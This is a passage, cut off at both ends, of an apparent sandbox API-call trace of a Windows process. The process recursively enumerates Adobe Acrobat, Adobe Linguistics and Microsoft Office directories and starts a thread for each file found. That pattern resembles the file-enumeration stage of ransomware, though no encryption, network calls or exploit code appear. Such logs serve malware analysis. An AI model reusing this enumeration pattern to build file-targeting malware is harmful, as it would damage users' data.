returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0051.512] wcscat (in: _Dest=0x4ee0b8, _Source="directories.acrodata" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" [0051.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0051.781] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 0 [0051.781] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0051.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8800) returned 1 [0051.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b20) returned 1 [0051.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a060) returned 1 Thread: id = 754 os_tid = 0xc6c [0051.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4465d8 [0051.513] wcscpy (in: _Dest=0x4465d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0051.513] wcscat (in: _Dest=0x4465d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\" [0051.513] wcscat (in: _Dest=0x4465d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*" [0051.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8cd0 [0051.513] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ba0 [0051.513] wcscmp (_String1=".", _String2=".") returned 0 [0051.513] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.513] wcscmp (_String1="..", _String2=".") returned 1 [0051.513] wcscmp (_String1="..", _String2="..") returned 0 [0051.513] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0051.513] wcscmp (_String1="10.0", _String2=".") returned 1 [0051.513] wcscmp (_String1="10.0", _String2="..") returned 1 [0051.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417620 [0051.513] wcscpy (in: _Dest=0x417620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0051.513] wcscat (in: _Dest=0x417620, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\" [0051.514] wcscat (in: _Dest=0x417620, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0051.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0051.782] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0051.782] FindClose (in: hFindFile=0x440ba0 | out: hFindFile=0x440ba0) returned 1 [0051.782] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8cd0) returned 1 [0051.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4465d8) returned 1 [0051.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447320) returned 1 Thread: id = 755 os_tid = 0xc70 [0051.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417bc0 [0051.514] wcscpy (in: _Dest=0x417bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0051.514] wcscat (in: _Dest=0x417bc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\" [0051.514] wcscat (in: _Dest=0x417bc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*" [0051.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0051.514] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440be0 [0051.514] wcscmp (_String1=".", _String2=".") returned 0 [0051.514] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.515] wcscmp (_String1="..", _String2=".") returned 1 [0051.515] wcscmp (_String1="..", _String2="..") returned 0 [0051.515] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0051.515] wcscmp (_String1="Dictionaries", _String2=".") returned 1 [0051.515] wcscmp (_String1="Dictionaries", _String2="..") returned 1 [0051.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43dfc0 [0051.515] wcscpy (in: _Dest=0x43dfc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0051.515] wcscat (in: _Dest=0x43dfc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\" [0051.515] wcscat (in: _Dest=0x43dfc0, _Source="Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0051.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43dfc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0051.784] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0051.784] FindClose (in: hFindFile=0x440be0 | out: hFindFile=0x440be0) returned 1 [0051.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0051.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417bc0) returned 1 [0051.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416780) returned 1 Thread: id = 756 os_tid = 0xe0c [0051.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5b98 [0051.516] wcscpy (in: _Dest=0x5ed5b98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0051.516] wcscat (in: _Dest=0x5ed5b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0051.516] wcscat (in: _Dest=0x5ed5b98, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*" [0051.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8f38 [0051.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440c20 [0051.516] wcscmp (_String1=".", _String2=".") returned 0 [0051.516] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.516] wcscmp (_String1="..", _String2=".") returned 1 [0051.516] wcscmp (_String1="..", _String2="..") returned 0 [0051.516] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0051.516] wcscmp (_String1="OFFICE10.MML", _String2=".") returned 1 [0051.516] wcscmp (_String1="OFFICE10.MML", _String2="..") returned 1 [0051.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417b30 [0051.516] wcscpy (in: _Dest=0x417b30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0051.516] wcscat (in: _Dest=0x417b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0051.516] wcscat (in: _Dest=0x417b30, _Source="OFFICE10.MML" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" [0051.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0051.786] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0051.786] FindClose (in: hFindFile=0x440c20 | out: hFindFile=0x440c20) returned 1 [0051.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8f38) returned 1 [0051.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b98) returned 1 [0051.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a1c8) returned 1 Thread: id = 757 os_tid = 0xe40 [0051.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e08118 [0051.517] wcscpy (in: _Dest=0x12e08118, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0051.517] wcscat (in: _Dest=0x12e08118, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0051.517] wcscat (in: _Dest=0x12e08118, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*" [0051.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8330 [0051.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440da0 [0052.199] wcscmp (_String1=".", _String2=".") returned 0 [0052.199] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.489] wcscmp (_String1="..", _String2=".") returned 1 [0055.489] wcscmp (_String1="..", _String2="..") returned 0 [0055.489] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0055.489] wcscmp (_String1="AUTOSHAP.DLL", _String2=".") returned 1 [0055.489] wcscmp (_String1="AUTOSHAP.DLL", _String2="..") returned 1 [0055.489] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0055.489] wcscmp (_String1="BD18180_.WMF", _String2=".") returned 1 [0055.489] wcscmp (_String1="BD18180_.WMF", _String2="..") returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc560 [0055.489] wcscpy (in: _Dest=0x97cc560, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0055.489] wcscat (in: _Dest=0x97cc560, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0055.489] wcscat (in: _Dest=0x97cc560, _Source="BD18180_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" [0056.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0056.071] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0056.071] wcscmp (_String1="BD18181_.WMF", _String2=".") returned 1 [0056.071] wcscmp (_String1="BD18181_.WMF", _String2="..") returned 1 [0056.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439bb0 [0056.071] wcscpy (in: _Dest=0x439bb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.072] wcscat (in: _Dest=0x439bb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.072] wcscat (in: _Dest=0x439bb0, _Source="BD18181_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" [0056.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0056.073] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0056.073] wcscmp (_String1="BD18182_.WMF", _String2=".") returned 1 [0056.073] wcscmp (_String1="BD18182_.WMF", _String2="..") returned 1 [0056.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4399e8 [0056.073] wcscpy (in: _Dest=0x4399e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0056.073] wcscat (in: _Dest=0x4399e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0056.073] wcscat (in: _Dest=0x4399e8, _Source="BD18182_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" [0056.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4399e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0056.074] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0056.074] wcscmp (_String1="BD18184_.WMF", _String2=".") returned 1 [0056.074] wcscmp (_String1="BD18184_.WMF", _String2="..") returned 1 [0056.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc5f8 [0056.074] wcscpy (in: _Dest=0x97cc5f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft 